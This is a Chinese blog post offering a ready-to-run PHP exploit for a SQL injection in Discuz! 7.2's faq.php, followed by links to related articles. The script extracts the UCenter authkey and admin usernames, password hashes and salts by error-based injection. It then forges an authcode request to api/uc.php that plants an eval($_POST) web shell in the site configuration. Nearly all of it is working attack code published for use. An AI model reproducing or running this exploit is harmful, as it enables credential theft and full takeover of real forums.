Discuz! 7.2 SQL注入exp
已经有人写出一些工具了,但是感觉不怎么好用,就自己写了个。
参数:
1.可直接getshell
2.爆管理账号密码
3.爆表前缀
如果表前缀不是默认的cdb_ 只需更改代码中的 $table即可,方便快捷。
下载地址:DZ7.2
附代码:
<?php /** * @author: xiaoma * @blog : www.i0day.com * @date : 2014.7.2 23:1 */ error_reporting (0); set_time_limit(3000); $host = $argv [1]; $path = $argv [2]; $js = $argv [3]; $timestamp = time()+10*3600; $table = "cdb_" ; //表名 if ( $argc < 2) { print_r(' ******************************************************** * Discuz faq.php SQL Injection Exp * * ---------By:Www.i0day.com----------- * * Usage: php '.$argv[0].' url 1 * * ------------------------------------- * * js选项: 1.GetShell 2.取密码 3.查表前缀 * * * * php '.$argv[0].' Www.i0day.com / 1 * * php '.$argv[0].' Www.i0day.com /dz72/ 1 * * * * * ******************************************************** '); exit ; } if ( $js ==1){ $sql = "action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20" . $table . "uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23" ; $resp = sendpack( $host , $path , $sql ); if ( strpos ( $resp , "::" )==-1){ echo '表前缀可能不是默认cdb_ 请先查看表前缀!' ; } else { preg_match( "/::(.*)::/" , $resp , $matches ); $lenght = intval ( $matches [1]); if ( $lenght ){ if ( $lenght <=124){ $sql = "action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20" . $table . "uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23" ; $resp = sendpack( $host , $path , $sql ); if ( strpos ( $resp , "1\^" )!=-1){ preg_match( "/1\^(.*)\'/U" , $resp , $key1 ); $sql = "action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20" . $table . "uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23" ; $resp = sendpack( $host , $path , $sql ); preg_match( "/1\^(.*)\'/U" , $resp , $key2 ); $key = $key1 [1]. $key2 [1]; $code =urlencode(_authcode( "time=$timestamp&action=updateapps" , 'ENCODE' , $key )); $cmd1 ='<?xml version= "1.0" encoding= "ISO-8859-1" ?> <root> <item id= "UC_API" >bbs.49you.com\'); eval ( $_POST [i0day]); //</item> </root>'; $cmd2 ='<?xml version= "1.0" encoding= "ISO-8859-1" ?> <root> <item id= "UC_API" >bbs.49you.com</item> </root>'; $html1 = send( $cmd1 ); $res1 = substr ( $html1 ,-1); $html2 = send( $cmd2 ); $res2 = substr ( $html1 ,-1); if ( $res1 == '1' && $res2 == '1' ){ } } else { echo '获取失败' ; } } } } } elseif ( $js ==2){ $sql = "action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20" . $table . "uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23" ; $resp = sendpack( $host , $path , $sql ); if ( strpos ( $resp , "\^\^\^" )!=-1){ preg_match( "/\^\^\^(.*)\^/U" , $resp , $password ); echo '密码:' . $password [1]; } else { echo '表前缀可能不是默认cdb_ 请先查看表前缀!' ; } } elseif ( $js ==3){ $sql = "action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23" ; $resp = sendpack( $host , $path , $sql ); if ( strpos ( $resp , "1\^" )!=-1){ preg_match( "/1\^(.*)\^/U" , $resp , $t ); if ( strpos ( $t [1], "cdb_" )!=-1){ echo "表名为:" .hex2str( $t [1]). " 表前缀为默认cdb_ 无需修改" ; } else { echo "表名:" .hex2str( $t [1]). ' 不是默认表名cdb_请自行修改代码中的$table' ; } } else { echo "查看表前缀失败,Sorry" ; } } else { echo "未选择脚本功能" ; } function sendpack( $host , $path , $sql , $js ){ $data = "GET " . $path . "/faq.php?" . $sql . " HTTP/1.1\r\n" ; $data .= "Host:" . $host . "\r\n" ; $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n" ; $data .= "Connection: close\r\n\r\n" ; //$data.=$html."\r\n"; $ock = fsockopen ( $host ,80); if (! $ock ){ echo "No response from " . $host ; die (); } fwrite( $ock , $data ); $resp = '' ; while (! feof ( $ock )) { $resp .= fread ( $ock , 1024); } return $resp ; } function send( $cmd ){ global $host , $code , $path ; $message = "POST " . $path . "/api/uc.php?code=" . $code . " HTTP/1.1\r\n" ; $message .= "Accept: */*\r\n" ; $message .= "Referer: " . $host . "\r\n" ; $message .= "Accept-Language: zh-cn\r\n" ; $message .= "Content-Type: application/x-www-form-urlencoded\r\n" ; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n" ; $message .= "Host: " . $host . "\r\n" ; $message .= "Content-Length: " . strlen ( $cmd ). "\r\n" ; $message .= "Connection: Close\r\n\r\n" ; $message .= $cmd ; //var_dump($message); $fp = fsockopen ( $host , 80); fputs ( $fp , $message ); $resp = '' ; while ( $fp && ! feof ( $fp )) $resp .= fread ( $fp , 1024); return $resp ; } function _authcode( $string , $operation = 'DECODE' , $key = '' , $expiry = 0) { $ckey_length = 4; $key = md5( $key ? $key : UC_KEY); $keya = md5( substr ( $key , 0, 16)); $keyb = md5( substr ( $key , 16, 16)); $keyc = $ckey_length ? ( $operation == 'DECODE' ? substr ( $string , 0, $ckey_length ): substr (md5(microtime()), - $ckey_length )) : '' ; $cryptkey = $keya .md5( $keya . $keyc ); $key_length = strlen ( $cryptkey ); $string = $operation == 'DECODE' ? base64_decode ( substr ( $string , $ckey_length )) : sprintf( '%010d' , $expiry ? $expiry + time() : 0). substr (md5( $string . $keyb ), 0, 16). $string ; $string_length = strlen ( $string ); $result = '' ; $box = range(0, 255); $rndkey = array (); for ( $i = 0; $i <= 255; $i ++) { $rndkey [ $i ] = ord( $cryptkey [ $i % $key_length ]); } for ( $j = $i = 0; $i < 256; $i ++) { $j = ( $j + $box [ $i ] + $rndkey [ $i ]) % 256; $tmp = $box [ $i ]; $box [ $i ] = $box [ $j ]; $box [ $j ] = $tmp ; } for ( $a = $j = $i = 0; $i < $string_length ; $i ++) { $a = ( $a + 1) % 256; $j = ( $j + $box [ $a ]) % 256; $tmp = $box [ $a ]; $box [ $a ] = $box [ $j ]; $box [ $j ] = $tmp ; $result .= chr (ord( $string [ $i ]) ^ ( $box [( $box [ $a ] + $box [ $j ]) % 256])); } if ( $operation == 'DECODE' ) { if (( substr ( $result , 0, 10) == 0 || substr ( $result , 0, 10) - time() > 0) && substr ( $result , 10, 16) == substr (md5( substr ( $result , 26). $keyb ), 0, 16)) { return substr ( $result , 26); } else { return '' ; } } else { return $keyc . str_replace ( '=' , '' , base64_encode ( $result )); } } function hex2str( $hex ){ $str = '' ; $arr = str_split ( $hex , 2); foreach ( $arr as $bit ){ $str .= chr (hexdec( $bit )); } return $str ; } ?> |
转载文章请注明,转载自:小马's Bloghttp://www.i0day.com
本文链接: http://www.i0day.com/1756.html
Discuz! 7.2 SQL注入exp的更多相关文章
- Discuz <= 7.2 SQL注入漏洞详情
在<高级PHP应用程序漏洞审核技术>[1]一文里的"魔术引号带来的新的安全问题"一节里,有 提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次 ...
- discuz 7.2 faq.php sql注入了一些研究
6.2号码(可能更早)上网本见exp,是一家discuz 7.2的sql注入漏洞 经过反复研究.最高在线人数exp它们存在于这些或那些问题,经过我自己的使用和变更摘要,使用的方法如以下: Discuz ...
- Discuz 7.2 /faq.php SQL注入漏洞
测试方法: 提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Discuz 7.2 /faq.php SQL注入漏洞 http://www.xxx.com/faq.php?a ...
- 然之协同系统6.4.1 SQL注入之exp编写
前言 前面已经说明了 漏洞成因,这里介绍一下 exp 的编写. 正文 为了 getshell 或者是 任意文件下载, 我们需要修改 数据库中的 前缀sys_file 表, 所以我们的利用方式如下 使用 ...
- 代码审计-Thinkphp3框架EXP表达式SQL注入
最近看java框架源码也是看的有点头疼,好多还要复习熟悉 还有好多事没做...慢慢熬. 网上好像还没有特别详细的分析 我来误人子弟吧. 0x01 tp3 中的exp表达式 查询表达式的使用格式: $m ...
- 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞
0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...
- Go--避免SQL注入
避免SQL注入 什么是SQL注入 SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出 ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇
0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递, ...
- 浅析白盒审计中的字符编码及SQL注入
尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如g ...
随机推荐
- IE6下Png透明最佳解决方案(推荐) Unit PNG Fix
引自:http://www.yeeyan.org/articles/view/98510/67784 网络上解决IE6下Png透明解决方案有很多,例如 IE PNG Fix from TwinHeli ...
- jBPM5 vs Actitivi
http://www.blogways.net/blog/2013/07/16/activiti-jbpm-compare.html jBPM是目前市场上主流开源工作引擎之一,在创建者Tom Baey ...
- (转)ASP.net中Timer无刷新定时器.
Timer控件要实现无刷新,得用到ajax技术 首先得添加一个ScriptManager控件,然后再添加一个UpdatePanel用于存放Timer控件内容的,就可以实现无刷新了.下面是详细的内容: ...
- c语言学习之基础知识点介绍(十四):指针的进阶
一.指针的加.减法运算 /* 1.加法运算 1).可以跟整数进行加法运算,得到的还是一个地址 公式: 地址 + 1 = 地址 + 1 * 类型所占的字节数 地址 + n = 地址 + n * 类型所占 ...
- jQuery $.each的使用方法
通过jQuery $.each,你可以遍历对象.数组的属性值并进行处理. 使用说明 each函数根据参数的类型实现的效果不完全一致: 1.遍历对象(有附加参数) $.each(Object, func ...
- javascript 中caller,callee,call,apply 的概念[转载]
在提到上述的概念之前,首先想说说javascript中函数的隐含参数:arguments Arguments : 该对象代表正在执行的函数和调用它的函数的参数. [function.]argument ...
- Android WebRTC视频旋转问题
最近在对接WebRTC到安卓手机上,有个需求就是手机横屏时将对方图像进行旋转,研究了WebRTC video_render的代码后发现远端的视频渲染使用opengles20或surfaceview实现 ...
- SGU 280.Trade centers(贪心)
SGU 280.Trade centers 解题报告 题意: n(<=30000)个城市,(n-1)条道路,求最少需要选择多少个城市建造市场,使得所有城市到任意一个市场的距离不大于k. Solu ...
- IIS原理学习
IIS 原理学习 首先声明以下内容是我在网上搜索后整理的,在此只是进行记录,以备往后查阅只用. IIS 5.x介绍 IIS 5.x一个显著的特征就是Web Server和真正的ASP.NET Appl ...
- Unix环境高级编程学习笔记——dup
dup 和 dup2 dup和dup2,都是用来将一个文件描述符复制给另一个文件描述符上,这两个文件描述符都指向同一个文件状态标志上. 只是文件描述符的大小不一样,dup所执行下的复制,肯定是返回 ...